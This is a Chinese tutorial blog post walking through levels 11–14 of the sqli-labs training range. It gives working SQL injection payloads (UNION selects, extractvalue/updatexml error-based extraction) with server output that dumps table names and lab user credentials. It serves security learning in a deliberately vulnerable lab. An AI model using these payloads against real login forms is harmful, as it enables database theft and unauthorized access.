首页 > 数据库 >SQL注入【sqli靶场第11-14关】(三)

SQL注入【sqli靶场第11-14关】(三)

时间:2024-11-14 09:31:09浏览次数:1  
标签:11 14 0x7e syntax sqli concat --+ SQL select

SQL注入【sqli靶场第11-14关】(三)

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

0、总体思路

先确认是否可以SQL注入,使用单双引号,1/0,括号测试 ' " 1/0 ),页面显示不同内容或响应长度来确定。存在SQL注入后则开始构造轮子进行验证,猜出数据库,用户名,表名,字段名,有没有文件漏洞等。

为方便验证提交拦截到BP,右击到Repeater修改参数值进行验证看响应内容。

特殊字符说明

+表示空格
--表示注释

以下内容验证都是在uname=后面构造进行验证。

1、Less11

POST - Error Based - Single quotes- String

1.1、判断是否存在SQL注入

正常响应长度

输入带单引号',响应长度有变化

往下拉看到有提示错误信息,可以确定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123' LIMIT 0,1' at line 1

1.2、确定查询字段个数

从界面上看应该是2个,但还是以确定结果为准

# 输入内容
'+order+by+3--+

# 关键结果
Unknown column '3' in 'order clause'</br>

# 修改为2
'+order+by+2--+

# 关键结果
Your Login name:admin<br>
Your Password:admin<br>

所以可以确定的是查询字段是2个,刚好又是我输入的是弱口令账户:admin,后面密码匹配条件又被我注释了,账号密码就拿到了,是可以登录成功。接下来看是否可拿到其他数据,比如数据库等。

1.3、联合查询

通过union语句方式发现没办法拿到其他数据,需要尝试报错函数

# 验证内容1
'+and+1=2+union+select+1,2--+

# 输出内容
Your Login name:1<br>
Your Password:2<br>

# 验证内容2
'+and+1=1+union+select+1,2--+
# 验证内容2
'+and+1=1+union+select+database(),user()--+

# 输出内容
Your Login name:admin<br>
Your Password:admin<br>

1.4、报错函数

1.4.1、获取数据库名和账号

报错函数extractvalue,0x7e是~的ASCII码,字符型后面有加单引号,数字型没有,

# 字符型
extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
#数字型
extractvalue(1,concat(0x7e,(select+user()),0x7e))=1

根据报错函数获取到数据库名,登录名

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1

# 输出内容
XPATH syntax error: '~security~'</br>

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1

# 输出内容
XPATH syntax error: '~root@localhost~'</br>

报错函数updatexml,字符型后面有加单引号,数字型没有,以下的函数结果和上面的内容获取的结果是一样的

# 字符型
(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
#数字型
(updatexml(1,concat(0x7e,(select+user()),0x7e),1))=1

1.4.2、获取表名

使用updatexml获取库的表名,0x23是#的ASCII码

# 输入内容
'and+(updatexml(1,concat(0x23,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security')),1))='1

# 输出内容
XPATH syntax error: '#emails,referers,uagents,users'</br>

从获取到的数据库表名,users应该就是存储数据库登录名的表了。

注意:在靶场实验过程中可获取:数据库=>表=>字段=>数据 ,但在实战过程中,到数据库这个步骤就行,不要去查数据。

1.4.3、获取表对应字段

# 输入内容
'and+(updatexml(1,concat(0x23,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users')),1))='1

# 输出内容
XPATH syntax error: '#id,username,password'</br>

1.4.4、获取表数据

# 输入内容
'and+(updatexml(1,concat(0x23,(select+group_concat(id,'~',username,'~',password)+from+security.users)),1))='1

# 输出内容
XPATH syntax error: '#1~Dumb~Dumb,2~Angelina~I-kill-y'</br>

1.5、验证登录

使用账号/密码:Dumb/Dumb,登录成功

2、Less12

POST - Error Based - Double quotes- String-with twist

2.1、判断是否存在SQL注入

正常响应长度

输入带单引号'发现没有变化

尝试用双引号",响应长度有变化

往下拉看到有提示错误信息,可以确定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123") LIMIT 0,1' at line 1

2.2、确定查询字段个数

从界面上看应该是2个,但还是以确定结果为准

# 输入内容
"+order+by+3--+

# 输出结果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ") and password=("123") LIMIT 0,1' at line 1</br>

从错误结果来看是少了括号)闭合,因此调整轮子加上括号)验证

# 输入内容
")+order+by+3--+

# 输出结果
Unknown column '3' in 'order clause'</br>

# 修改为2
")+order+by+2--+

# 输出结果
Your Login name:admin<br>
Your Password:admin<br>

所以可以确定的是查询字段是2个,刚好又是我输入的是弱口令账户:admin,后面密码匹配条件又被我注释了,账号密码就拿到了,是可以登录成功。接下来看是否可拿到其他数据,比如数据库等。

注意后面的所有内容破解前面部分都是需要")把前面语句闭合。

2.3、联合查询

2.3.1、获取数据库名和账号

通过union语句方式查询数据库,用户名。

# 输入内容
")+and+1=2+union+select+database(),user()--+

# 输出结果
Your Login name:security<br>
Your Password:root@localhost<br>

2.3.2、获取表名

上面得到的数据库,进一步获取表名

# 输入内容
")+and+1=2+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'--+

# 输出结果
Your Login name:1<br>
Your Password:emails,referers,uagents,users<br>

从获取到的数据库表名,users应该就是存储数据库登录名的表了。

2.3.3、获取表对应字段

# 输入内容
")+and+1=2+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'--+

# 输出结果
Your Login name:1<br>
Your Password:id,username,password<br>

2.3.4、获取表数据

# 输入内容
")+and+1=2+union+select+1,group_concat(id,'~',username,'~',password)+from+security.users--+

# 输出结果
Your Login name:1<br>
Your Password:1~Dumb~Dumb,2~Angelina~I-kill-you,3~Dummy~p@ssword,4~secure~crappy,5~stupid~stupidity,6~superman~genious,7~batman~mob!le,8~admin~admin,9~admin1~admin1,10~admin2~admin2,11~admin3~admin3,12~dhakkan~dumbo,14~admin4~admin4<br>

账号/密码有点多,随便找一个进行验证。

2.4、验证登录

使用账号/密码:admin3/admin3,登录成功

3、Less13

POST - Double Injection - Single quotes- String -with twist

3.1、判断是否存在SQL注入

正常响应长度

输入带单引号',响应长度有变化

往下拉看到有提示错误信息,可以确定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123') LIMIT 0,1' at line 1

3.2、确定查询字段个数

从界面上看应该是2个,但还是以确定结果为准

# 输入内容
'+order+by+3--+

# 输出结果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ') and password=('123') LIMIT 0,1' at line 1</br>

从错误结果来看是少了括号)闭合,因此调整轮子加上括号)验证

# 输入内容
')+order+by+3--+

# 输出结果
Unknown column '3' in 'order clause'</br>

# 修改为2
')+order+by+2--+

# 输出结果--没有报错内容

所以可以确定的是查询字段是2个

注意后面的所有内容破解前面部分都是需要')把前面语句闭合。

3.3、联合查询

通过union语句方式发现没办法拿到其他数据,需要尝试报错函数

# 输入内容
')+and+1=1+union+select+database(),user()--+

3.4、报错函数

3.4.1、获取数据库名和账号

根据报错函数获取到数据库名,登录名

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1

# 输出内容
XPATH syntax error: '~security~'</br>

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1

# 输出内容
XPATH syntax error: '~root@localhost~'</br>

3.4.2、获取表名

使用updatexml获取库的表名,0x23是#的ASCII码,前面部分加上')用来闭合前面的语句,后面=1而不是='1,再加上--+用于注释后面的语句,获取了表名了。

# 输入内容
')and+(updatexml(1,concat(0x23,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security')),1))=1--+
# 输出内容
XPATH syntax error: '#emails,referers,uagents,users'</br>

4、Less14

POST - Double Injection - Single quotes- String -with twist

4.1、判断是否存在SQL注入

正常响应长度

输入带双引号",响应长度有变化

往下拉看到有提示错误信息,可以确定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123" LIMIT 0,1' at line 1</br>

4.2、确定查询字段个数

从界面上看应该是2个,但还是以确定结果为准

# 输入内容
"+order+by+3--+

# 输出结果
Unknown column '3' in 'order clause'</br>

# 修改为2
"+order+by+2--+

# 输出结果--没有报错内容

所以可以确定的是查询字段是2个。

4.3、联合查询

通过union语句方式发现没办法拿到其他数据,需要尝试报错函数

# 输入内容
"+and+1=1+union+select+database(),user()--+

4.4、报错函数

4.4.1、获取数据库名和账号

根据报错函数获取到数据库名,登录名

# 输入内容
"and+extractvalue(1,concat(0x7e,(select+database()),0x7e))="1

# 输出内容
XPATH syntax error: '~security~'</br>

# 输入内容
"and+extractvalue(1,concat(0x7e,(select+user()),0x7e))="1

# 输出内容
XPATH syntax error: '~root@localhost~'</br>

5、资料获取

sqli-labs靶场环境搭建请参考《靶场环境搭建【XP、pikachu、dvwa、sqli-labs】》

6、我的公众号

敬请关注我的公众号:大象只为你,持续更新技术知识中......

标签:11,14,0x7e,syntax,sqli,concat,--+,SQL,select
From: https://www.cnblogs.com/huangxiufen/p/18545328

相关文章

  • Ynoi2014 等这场战争结束之后
    题目大意有\(n\)个点,点有点权,维护一个完全持久化的数据结构并支持:将点\(x\)和\(y\)之间连接一条边。询问点\(x\)所在的连通块的第\(k\)小权值。数据范围:\(1\len,q\le10^5,0\lea_i\le10^9\)。时间限制:500ms,空间限制:20MB思路写一种比较简单的做法。先不考......
  • 11.15
      实验16:命令模式本次实验属于模仿型实验,通过本次实验学生将掌握以下内容: 1、理解命令模式的动机,掌握该模式的结构;2、能够利用命令模式解决实际问题。 [实验任务一]:多次撤销和重复的命令模式某系统需要提供一个命令集合(注:可以使用链表,栈等集合对象实现),用于存储一系列......
  • 11.14
    实验15:职责链模式本次实验属于模仿型实验,通过本次实验学生将掌握以下内容: 1、理解职责链模式的动机,掌握该模式的结构;2、能够利用职责链模式解决实际问题。 [实验任务一]:财务审批某物资管理系统中物资采购需要分级审批,主任可以审批1万元及以下的采购单,部门经理可以审批5万......
  • 11.18
      实验17:解释器模式(选作)本次实验属于模仿型实验,通过本次实验学生将掌握以下内容: 1、理解解释器模式的动机,掌握该模式的结构;2、能够利用解释器模式解决实际问题。 [实验任务一]:解释器模式某机器人控制程序包含一些简单的英文指令,其文法规则如下:expression::=directi......
  • 2024.11.13 前端打字机代码
    要让打字结束后保持结束状态,首先需要确认你使用的EasyTyper库的逻辑。当EasyTyper完成打字后,它通常会执行一个回调函数,告知打字过程已经结束。从你提供的代码来看,回调函数()=>{}是空的,可能是为了暂时不做任何操作。如果你希望在打字完成后让文本保持在打字结束的状态,可以......
  • 11.1
    实验6:原型模式本次实验属于模仿型实验,通过本次实验学生将掌握以下内容:1、理解原型模式的动机,掌握该模式的结构;2、能够利用原型模式解决实际问题。 [实验任务一]:向量的原型用C++完成数学中向量的封装,其中,用指针和动态申请支持向量长度的改变,使用浅克隆和深克隆复制向量类,比......
  • 11.4
    实验7:单例模式本次实验属于模仿型实验,通过本次实验学生将掌握以下内容:1、理解单例模式的动机,掌握该模式的结构;2、能够利用单列模式解决实际问题。 [实验任务一]:学号的单一仿照课堂的身份证的例子,实现每个同学仅有一个学号这一问题。实验要求: 类图  代码packag......
  • 11.6
    实验9:桥接模式本次实验属于模仿型实验,通过本次实验学生将掌握以下内容:1、理解桥接模式的动机,掌握该模式的结构;2、能够利用桥接模式解决实际问题。 [实验任务一]:两个维度的桥接模式用桥接模式实现在路上开车这个问题,其中,车可以是car或bus,路可以是水泥路或沥青路。实验要求......
  • 11.5
    实验8:适配器模式本次实验属于模仿型实验,通过本次实验学生将掌握以下内容:1、理解适配器模式的动机,掌握该模式的结构;2、能够利用适配器模式解决实际问题。 [实验任务一]:双向适配器实现一个双向适配器,使得猫可以学狗叫,狗可以学猫抓老鼠。实验要求:  1、Cat.javapackag......
  • 11.7
    实验10:组合模式本次实验属于模仿型实验,通过本次实验学生将掌握以下内容:1、理解组合模式的动机,掌握该模式的结构;2、能够利用组合模式解决实际问题。 [实验任务一]:组合模式用透明组合模式实现教材中的“文件夹浏览”这个例子。实验要求: 类图  源代码1、AbstractF......